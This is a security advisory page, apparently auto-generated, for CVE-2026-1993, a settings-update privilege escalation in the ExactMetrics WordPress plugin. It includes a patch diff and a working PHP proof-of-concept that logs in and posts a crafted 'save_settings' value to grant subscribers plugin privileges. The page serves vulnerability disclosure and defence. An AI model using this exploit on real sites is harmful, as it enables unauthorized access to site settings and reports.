Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1993: ExactMetrics 7.1.0 – 9.0.2 – Authenticated (Custom) Improper Privilege Management to Role Privilege Escalation via Settings Update (google-analytics-dashboard-for-wp)

CVE ID CVE-2026-1993
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 9.0.2
Patched Version 9.0.3
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1993:
The vulnerability originates in the ExactMetrics plugin’s `update_settings()` function within `/includes/admin/routes.php`. This function processes AJAX requests to update plugin settings. Versions 7.1.0 through 9.0.2 lack validation on the `setting` parameter, allowing users with the `exactmetrics_save_settings` capability to modify any plugin option. The critical flaw is the absence of a whitelist for allowed settings. Attackers can target the `save_settings` option, which defines which user roles can access plugin functionality. By setting this option to include the `subscriber` role, a user with delegated settings access can grant administrative plugin privileges to all subscribers. The patch in version 9.0.3 introduces two key fixes. First, it adds the `exactmetrics_get_admin_only_settings()` function in `/includes/capabilities.php` to define sensitive access-control settings. Second, it implements the `exactmetrics_is_admin_only_setting()` check within the `update_settings()` function (lines 206-212 and 242-244 of routes.php). This check prevents users without the `manage_options` capability from modifying settings like `save_settings`, `view_reports`, and `ignore_users`. The same protection is applied to the onboarding process in `class-exactmetrics-onboarding.php` and the settings import functionality. Exploitation requires a valid WordPress user account with the `exactmetrics_save_settings` capability, which an administrator might grant to a trusted user for limited configuration. Successful exploitation escalates the attacker’s privilege within the plugin, granting all subscribers the ability to view reports and change settings, effectively bypassing intended role-based access controls.

Differential between vulnerable and patched code

Code Diff
--- a/google-analytics-dashboard-for-wp/gadwp.php
+++ b/google-analytics-dashboard-for-wp/gadwp.php
@@ -5,7 +5,7 @@
  * Plugin URI: https://exactmetrics.com
  * Description: Displays Google Analytics Reports and Real-Time Statistics in your Dashboard. Automatically inserts the tracking code in every page of your website.
  * Author: ExactMetrics
- * Version: 9.0.2
+ * Version: 9.0.3
  * Requires at least: 5.6.0
  * Requires PHP: 7.2
  * Author URI: https://exactmetrics.com/lite/?utm_source=liteplugin&utm_medium=pluginheader&utm_campaign=authoruri&utm_content=7%2E0%2E0
@@ -55,7 +55,7 @@
 	 * @var string $version Plugin version.
 	 */

-	public $version = '9.0.2';
+	public $version = '9.0.3';

 	/**
 	 * Plugin file.
--- a/google-analytics-dashboard-for-wp/includes/admin/admin-assets.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/admin-assets.php
@@ -248,6 +248,15 @@
 			$site_auth = $auth->get_viewname();
 			$ms_auth   = is_multisite() && $auth->get_network_viewname();

+			// Get bearer token for direct browser-to-API requests.
+			$bearer_token_data = ExactMetrics_API_Token::get_token( is_network_admin() );
+			$bearer_token      = '';
+			$bearer_expires    = 0;
+			if ( ! is_wp_error( $bearer_token_data ) ) {
+				$bearer_token   = $bearer_token_data['token'];
+				$bearer_expires = $bearer_token_data['expires_at'];
+			}
+
 			wp_localize_script(
 				$handle,
 				'exactmetrics',
@@ -265,6 +274,10 @@
 					'wizard_url'           => exactmetrics_get_onboarding_url(),
 					'rest_url'             => get_rest_url(),
 					'rest_nonce'           => wp_create_nonce( 'wp_rest' ),
+					// Direct API access (bypasses WordPress for performance).
+					'relay_api_url'        => apply_filters( 'exactmetrics_api_url_custom_dashboard', 'https://app.exactmetrics.com/' ),
+					'bearer_token'         => $bearer_token,
+					'bearer_expires'       => $bearer_expires,
 				)
 			);

--- a/google-analytics-dashboard-for-wp/includes/admin/admin.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/admin.php
@@ -62,9 +62,6 @@
 		add_submenu_page( $parent_slug, __( 'General Reports:', 'google-analytics-dashboard-for-wp' ), __( 'Reports', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_view_dashboard', 'exactmetrics_reports', 'exactmetrics_reports_page' );
 	}

-	// then settings page
-	add_submenu_page( $parent_slug, __( 'ExactMetrics', 'google-analytics-dashboard-for-wp' ), __( 'Settings', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_save_settings', 'exactmetrics_settings', 'exactmetrics_settings_page' );
-
 	/**
 	 * Output the Custom Dashboard app mount node.
 	 *
@@ -72,9 +69,27 @@
 	 */
 	function exactmetrics_custom_dashboard_page() {
 		do_action( 'exactmetrics_head' );
-		echo '<div id="exactmetrics-custom-dashboard-app" class="mi-custom-dashboard-app">Loading</div>';
+		// Hide WordPress admin notices on this page - Vue app handles its own notifications
+		echo '<style>.exactmetrics_page_exactmetrics_custom_dashboard .notice:not(.exactmetrics-notice),.exactmetrics_page_exactmetrics_custom_dashboard .error:not(.exactmetrics-notice),.exactmetrics_page_exactmetrics_custom_dashboard .updated:not(.exactmetrics-notice){display:none !important;}</style>';
+		echo '<div id="exactmetrics-custom-dashboard-app" class="mi-custom-dashboard-app">';
+		echo '<div class="mi-app-loading"><span class="dashicons dashicons-update mi-spin"></span></div>';
+		echo '<style>.mi-app-loading{display:flex;align-items:center;justify-content:center;min-height:400px;}.mi-spin{animation:mi-spin 1s linear infinite;font-size:40px;width:40px;height:40px;color:#338eef;}@keyframes mi-spin{to{transform:rotate(360deg);}}</style>';
+		echo '</div>';
 	}

+// 	// Add Dashboard page (Vue 3 app)
+// 	add_submenu_page(
+// 		$parent_slug,
+// 		__( 'Dashboard:', 'google-analytics-dashboard-for-wp' ),
+// 		__( 'Dashboard', 'google-analytics-dashboard-for-wp' ) . $new_indicator,
+// 		'exactmetrics_view_dashboard',
+// 		'exactmetrics_custom_dashboard',
+// 		'exactmetrics_custom_dashboard_page'
+// 	);
+
+	// then settings page
+	add_submenu_page( $parent_slug, __( 'ExactMetrics', 'google-analytics-dashboard-for-wp' ), __( 'Settings', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_save_settings', 'exactmetrics_settings', 'exactmetrics_settings_page' );
+
 	// Add dashboard submenu.
 	add_submenu_page( 'index.php', __( 'General Reports:', 'google-analytics-dashboard-for-wp' ), 'ExactMetrics', 'exactmetrics_view_dashboard', 'admin.php?page=exactmetrics_reports' );

--- a/google-analytics-dashboard-for-wp/includes/admin/class-exactmetrics-onboarding.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/class-exactmetrics-onboarding.php
@@ -225,9 +225,26 @@
 		$is_network = boolval( $request->get_param( 'is_network' ) );
 		// Process settings
 		$settings = $request->get_param( 'settings' );
+		$onboarding_user_id = exactmetrics_get_onboarding_user_id();

 		if ( ! empty( $settings ) ) {
+			$allowed_settings = apply_filters( 'exactmetrics_onboarding_allowed_settings', array(
+				'site_type',
+				'extensions_of_files',
+				'affiliate_links',
+				'view_reports',
+				'automatic_updates',
+				'anonymous_data',
+				'verified_automatic',
+			) );
 			foreach ( $settings as $key => $value ) {
+				if ( ! in_array( $key, $allowed_settings, true ) ) {
+					continue;
+				}
+				// Skip admin-only settings for non-admin users.
+				if ( exactmetrics_is_admin_only_setting( $key ) && ! user_can( $onboarding_user_id, 'manage_options' ) ) {
+					continue;
+				}
 				exactmetrics_update_option( $key, $value );
 			}
 		}
@@ -269,8 +286,7 @@
 			);
 			$is_network ? ExactMetrics()->auth->set_network_analytics_profile( $profile ) : ExactMetrics()->auth->set_analytics_profile( $profile );
 		}
-		$triggered_by_user = $request->get_param( 'triggered_by' );
-		$can_install       = exactmetrics_can_install_plugins( $triggered_by_user );
+		$can_install = exactmetrics_can_install_plugins( $onboarding_user_id ?: null );
 		if ( $can_install && ! empty( $settings['addons_to_install'] ) ) {
 			$plugins = $settings['addons_to_install'];

@@ -502,6 +518,7 @@
 	 */
 	public function delete_onboarding_key( $request ) {
 		delete_transient( 'exactmetrics_onboarding_key' );
+		delete_transient( 'exactmetrics_onboarding_user_id' );
 		return new WP_REST_Response(
 			array(
 				'success' => true,
--- a/google-analytics-dashboard-for-wp/includes/admin/exclude-page-metabox.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/exclude-page-metabox.php
@@ -35,10 +35,6 @@
 			return false;
 		}

-		private function posttype_supports_gutenberg() {
-			return post_type_supports( exactmetrics_get_current_post_type(), 'custom-fields' );
-		}
-
 		private function get_current_post_type() {
 			global $post;

@@ -72,7 +68,7 @@
 			}

 			add_action( 'admin_enqueue_scripts', array( $this, 'load_metabox_styles' ) );
-			if ( $this->is_gutenberg_editor() && $this->posttype_supports_gutenberg() ) {
+			if ( $this->is_gutenberg_editor() ) {
 				return;
 			}
 			if ( 'attachment' !== $post_type ) {
--- a/google-analytics-dashboard-for-wp/includes/admin/routes.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/routes.php
@@ -203,6 +203,14 @@

 		if ( isset( $_POST['setting'] ) ) {
 			$setting = sanitize_text_field( wp_unslash( $_POST['setting'] ) );
+
+			// Prevent non-admin users from modifying access-control settings.
+			if ( exactmetrics_is_admin_only_setting( $setting ) && ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( array(
+					'message' => esc_html__( 'You do not have permission to update this setting.', 'google-analytics-dashboard-for-wp' ),
+				) );
+			}
+
 			if ( isset( $_POST['value'] ) ) {
 				$value = $this->handle_sanitization( $setting, $_POST['value'] ); // phpcs:ignore
 				exactmetrics_update_option( $setting, $value );
@@ -232,6 +240,10 @@
 		if ( isset( $_POST['settings'] ) ) {
 			$settings = json_decode( sanitize_text_field( wp_unslash( $_POST['settings'] ) ), true );
 			foreach ( $settings as $setting => $value ) {
+				// Skip admin-only settings for non-admin users.
+				if ( exactmetrics_is_admin_only_setting( $setting ) && ! current_user_can( 'manage_options' ) ) {
+					continue;
+				}
 				$value = $this->handle_sanitization( $setting, $value );
 				exactmetrics_update_option( $setting, $value );
 				do_action( 'exactmetrics_after_update_settings', $setting, $value );
@@ -1067,7 +1079,18 @@

 		foreach ( $exclude as $e ) {
 			if ( ! empty( $settings[ $e ] ) ) {
-				$new_settings = $settings[ $e ];
+				$new_settings[ $e ] = $settings[ $e ];
+			}
+		}
+
+		// Prevent non-admin users from importing access-control settings.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$admin_only_settings = exactmetrics_get_admin_only_settings();
+			foreach ( $admin_only_settings as $admin_setting ) {
+				unset( $new_settings[ $admin_setting ] );
+				if ( isset( $settings[ $admin_setting ] ) ) {
+					$new_settings[ $admin_setting ] = $settings[ $admin_setting ];
+				}
 			}
 		}

--- a/google-analytics-dashboard-for-wp/includes/admin/site-notes/Controller.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/site-notes/Controller.php
@@ -1158,6 +1158,11 @@
 	}

 	public function load_metabox_assets() {
+		// Don't load classic editor assets on block editor
+		if ( $this->is_gutenberg_editor() ) {
+			return;
+		}
+
 		wp_register_style('exactmetrics-admin-metabox-sitenotes-style', plugins_url('assets/css/admin-metabox-sitenotes.css', EXACTMETRICS_PLUGIN_FILE), array(), exactmetrics_get_asset_version());
 		wp_enqueue_style('exactmetrics-admin-metabox-sitenotes-style');

@@ -1166,6 +1171,24 @@
 	}

 	/**
+	 * Check if the current screen is the Gutenberg (block) editor.
+	 *
+	 * @return bool True if on block editor, false otherwise.
+	 */
+	private function is_gutenberg_editor() {
+		if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) {
+			return true;
+		}
+
+		$current_screen = get_current_screen();
+		if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
 	 * Add site-note to traffic sessions chart.
 	 *
 	 * @param array $data
--- a/google-analytics-dashboard-for-wp/includes/api/class-exactmetrics-api-token.php
+++ b/google-analytics-dashboard-for-wp/includes/api/class-exactmetrics-api-token.php
@@ -0,0 +1,274 @@
+<?php
+/**
+ * API Token class for ExactMetrics.
+ *
+ * Generates encrypted tokens for secure browser-to-API communication.
+ * Used by Custom Dashboard, AI Chat, and any feature needing direct
+ * browser-to-Laravel requests without proxying through WordPress.
+ *
+ * Token Format: {publickey}.{base64(hmac + iv + ciphertext)}
+ *
+ * Security Features:
+ * - AES-256-CBC encryption
+ * - HMAC-SHA256 integrity verification
+ * - 30-minute token expiration
+ * - Site-specific encryption key (relay token)
+ *
+ * @since 9.x.x
+ * @package ExactMetrics
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * ExactMetrics API Token class.
+ *
+ * @since 9.x.x
+ */
+class ExactMetrics_API_Token {
+
+	/**
+	 * Token expiration time in seconds (30 minutes).
+	 *
+	 * @var int
+	 */
+	const TOKEN_EXPIRATION = 1800;
+
+	/**
+	 * Cache group for storing generated tokens.
+	 *
+	 * @var string
+	 */
+	const CACHE_GROUP = 'api_tokens';
+
+	/**
+	 * Encryption cipher.
+	 *
+	 * @var string
+	 */
+	const CIPHER = 'AES-256-CBC';
+
+	/**
+	 * Generate an encrypted token for browser-to-API communication.
+	 *
+	 * The token contains encrypted user and site context that can be
+	 * validated by Laravel/Python without calling back to WordPress.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return array|WP_Error Token data array or WP_Error on failure.
+	 *                        {
+	 *                            'token'      => string, // The encrypted token
+	 *                            'expires_at' => int,    // Unix timestamp
+	 *                        }
+	 */
+	public static function generate( $network = false ) {
+		$auth = ExactMetrics()->auth;
+
+		// Get relay credentials.
+		$public_key = $network ? $auth->get_network_key() : $auth->get_key();
+		$token_key  = $network ? $auth->get_network_token() : $auth->get_token();
+
+		if ( empty( $public_key ) || empty( $token_key ) ) {
+			return new WP_Error(
+				'not_authenticated',
+				__( 'Site is not authenticated with ExactMetrics.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Build payload - minimal data needed for Laravel validation.
+		$timestamp  = time();
+		$expires_at = $timestamp + self::TOKEN_EXPIRATION;
+
+		$payload = array(
+			'site_url'   => $network ? network_admin_url() : home_url(),
+			'issued_at'  => $timestamp,
+			'expires_at' => $expires_at,
+		);
+
+		// Encrypt the payload.
+		$encrypted = self::encrypt_payload( $payload, $token_key );
+
+		if ( is_wp_error( $encrypted ) ) {
+			return $encrypted;
+		}
+
+		// Final token format: publickey.encrypted_payload
+		$token = $public_key . '.' . $encrypted;
+
+		return array(
+			'token'      => $token,
+			'expires_at' => $expires_at,
+		);
+	}
+
+	/**
+	 * Get a cached token or generate a new one.
+	 *
+	 * Tokens are cached at site-level since all users see the same analytics data.
+	 * A 5-minute buffer is used to refresh tokens before they expire.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return array|WP_Error Token data array or WP_Error on failure.
+	 */
+	public static function get_token( $network = false ) {
+		// Ensure user has permission to view dashboard data.
+		if ( ! current_user_can( 'exactmetrics_view_dashboard' ) ) {
+			return new WP_Error(
+				'unauthorized',
+				__( 'You do not have permission to access this data.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		$cache_key = 'api_token_site' . ( $network ? '_network' : '' );
+
+		// Try to get cached token.
+		$cached = exactmetrics_cache_get( $cache_key, self::CACHE_GROUP );
+
+		// Check if cached token is still valid (with 5-minute buffer).
+		if ( $cached && isset( $cached['expires_at'] ) ) {
+			$buffer = 300; // 5 minutes.
+			if ( $cached['expires_at'] > ( time() + $buffer ) ) {
+				return $cached;
+			}
+		}
+
+		// Generate new token.
+		$token_data = self::generate( $network );
+
+		if ( is_wp_error( $token_data ) ) {
+			return $token_data;
+		}
+
+		// Cache the token (TTL = expiration - buffer).
+		$ttl = ( $token_data['expires_at'] - time() ) - 300;
+		if ( $ttl > 0 ) {
+			exactmetrics_cache_set( $cache_key, $token_data, self::CACHE_GROUP, $ttl );
+		}
+
+		return $token_data;
+	}
+
+	/**
+	 * Get just the token string (convenience method for wp_localize_script).
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return string The token string or empty string on failure.
+	 */
+	public static function get_token_string( $network = false ) {
+		$token_data = self::get_token( $network );
+
+		if ( is_wp_error( $token_data ) ) {
+			return '';
+		}
+
+		return $token_data['token'];
+	}
+
+	/**
+	 * Get the token expiration timestamp.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return int Unix timestamp or 0 on failure.
+	 */
+	public static function get_expiration( $network = false ) {
+		$token_data = self::get_token( $network );
+
+		if ( is_wp_error( $token_data ) ) {
+			return 0;
+		}
+
+		return $token_data['expires_at'];
+	}
+
+	/**
+	 * Invalidate cached token for the site.
+	 *
+	 * Call this when relay credentials change or are deauthenticated.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to invalidate network token.
+	 * @return bool True on success.
+	 */
+	public static function invalidate( $network = false ) {
+		$cache_key = 'api_token_site' . ( $network ? '_network' : '' );
+
+		return exactmetrics_cache_delete( $cache_key, self::CACHE_GROUP );
+	}
+
+	/**
+	 * Encrypt the payload using AES-256-CBC.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param array  $payload  The data to encrypt.
+	 * @param string $key_seed The seed for deriving the encryption key (relay token).
+	 * @return string|WP_Error Base64-encoded encrypted data or WP_Error.
+	 */
+	private static function encrypt_payload( $payload, $key_seed ) {
+		// Check if OpenSSL is available.
+		if ( ! function_exists( 'openssl_encrypt' ) ) {
+			return new WP_Error(
+				'openssl_missing',
+				__( 'OpenSSL extension is required for secure API tokens.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		$payload_json = wp_json_encode( $payload );
+
+		if ( false === $payload_json ) {
+			return new WP_Error(
+				'json_encode_failed',
+				__( 'Failed to encode token payload.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Derive encryption key (SHA256 of the relay token).
+		$key = hash( 'sha256', $key_seed, true ); // 32 bytes.
+
+		// Generate random IV.
+		$iv = openssl_random_pseudo_bytes( 16 );
+
+		if ( false === $iv ) {
+			return new WP_Error(
+				'iv_generation_failed',
+				__( 'Failed to generate secure IV.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Encrypt with AES-256-CBC.
+		$ciphertext = openssl_encrypt(
+			$payload_json,
+			self::CIPHER,
+			$key,
+			OPENSSL_RAW_DATA,
+			$iv
+		);
+
+		if ( false === $ciphertext ) {
+			return new WP_Error(
+				'encryption_failed',
+				__( 'Failed to encrypt token payload.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Create HMAC for integrity (sign: iv + ciphertext).
+		$hmac = hash_hmac( 'sha256', $iv . $ciphertext, $key_seed, true ); // 32 bytes.
+
+		// Combine: hmac(32) + iv(16) + ciphertext.
+		// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
+		return base64_encode( $hmac . $iv . $ciphertext );
+	}
+
+}
--- a/google-analytics-dashboard-for-wp/includes/capabilities.php
+++ b/google-analytics-dashboard-for-wp/includes/capabilities.php
@@ -91,3 +91,36 @@
 }

 add_filter( 'map_meta_cap', 'exactmetrics_add_capabilities', 10, 4 );
+
+/**
+ * Get the list of settings that only users with manage_options can modify.
+ *
+ * These are access-control settings that, if modified by a delegated user,
+ * could lead to privilege escalation.
+ *
+ * @since 9.5.2
+ *
+ * @return array Array of admin-only setting keys.
+ */
+function exactmetrics_get_admin_only_settings() {
+	$settings = array(
+		'save_settings',
+		'view_reports',
+		'ignore_users',
+	);
+
+	return apply_filters( 'exactmetrics_admin_only_settings', $settings );
+}
+
+/**
+ * Check if a given setting key is an admin-only setting.
+ *
+ * @since 9.5.2
+ *
+ * @param string $setting The setting key to check.
+ *
+ * @return bool True if the setting is admin-only, false otherwise.
+ */
+function exactmetrics_is_admin_only_setting( $setting ) {
+	return in_array( $setting, exactmetrics_get_admin_only_settings(), true );
+}
--- a/google-analytics-dashboard-for-wp/includes/frontend/frontend.php
+++ b/google-analytics-dashboard-for-wp/includes/frontend/frontend.php
@@ -218,6 +218,7 @@
 		return;
 	}

+	// phpcs:ignore PHPCS_SecurityAudit.Misc.IncludeMismatch.ErrMiscIncludeMismatchNoExt -- File path is validated with file_exists() above.
 	$asset_data = require $asset_file;

 	// Enqueue styles
--- a/google-analytics-dashboard-for-wp/includes/helpers.php
+++ b/google-analytics-dashboard-for-wp/includes/helpers.php
@@ -1033,9 +1033,14 @@
 	if ( empty( $key ) ) {
 		$key = wp_generate_password( 32, false );
 		set_transient( 'exactmetrics_onboarding_key', $key, 30 * MINUTE_IN_SECONDS );
+		set_transient( 'exactmetrics_onboarding_user_id', get_current_user_id(), 30 * MINUTE_IN_SECONDS );
 	}
 	return $key;
 }
+
+function exactmetrics_get_onboarding_user_id() {
+	return (int) get_transient( 'exactmetrics_onboarding_user_id' );
+}
 /**
  * Clears the onboarding key
  *
--- a/google-analytics-dashboard-for-wp/lite/includes/load.php
+++ b/google-analytics-dashboard-for-wp/lite/includes/load.php
@@ -71,6 +71,7 @@
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-reports.php';
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-tracking.php';
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-ads.php';
+		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-token.php';

 		// Load Google Ads admin classes
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/ppc/google/class-exactmetrics-google-ads.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1993 - ExactMetrics 7.1.0 - 9.0.2 - Authenticated (Custom) Improper Privilege Management to Role Privilege Escalation via Settings Update

<?php
// Configuration
$target_url = 'https://vulnerable-site.com';
$username = 'attacker';
$password = 'password';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Step 2: Extract the WordPress nonce from the admin page
// The plugin uses admin-ajax.php with action 'exactmetrics_update_settings'
$admin_url = $target_url . '/wp-admin/admin.php?page=exactmetrics_settings';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);

// Step 3: Craft the malicious AJAX request to update the save_settings option
// This payload grants the 'subscriber' role the ability to save plugin settings
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_payload = array(
    'action' => 'exactmetrics_update_settings',
    'setting' => 'save_settings',
    'value' => 'a:2:{i:0;s:13:"administrator";i:1;s:10:"subscriber";}'
);
// The value is a serialized PHP array containing 'administrator' and 'subscriber' roles

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$ajax_response = curl_exec($ch);

echo "Exploit attempt completed.n";
echo "Response: " . $ajax_response . "n";

// Step 4: Verify the setting was updated by fetching it
$verify_payload = array(
    'action' => 'exactmetrics_get_settings',
    'setting' => 'save_settings'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $verify_payload);
$verify_response = curl_exec($ch);

echo "Verification response: " . $verify_response . "n";

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School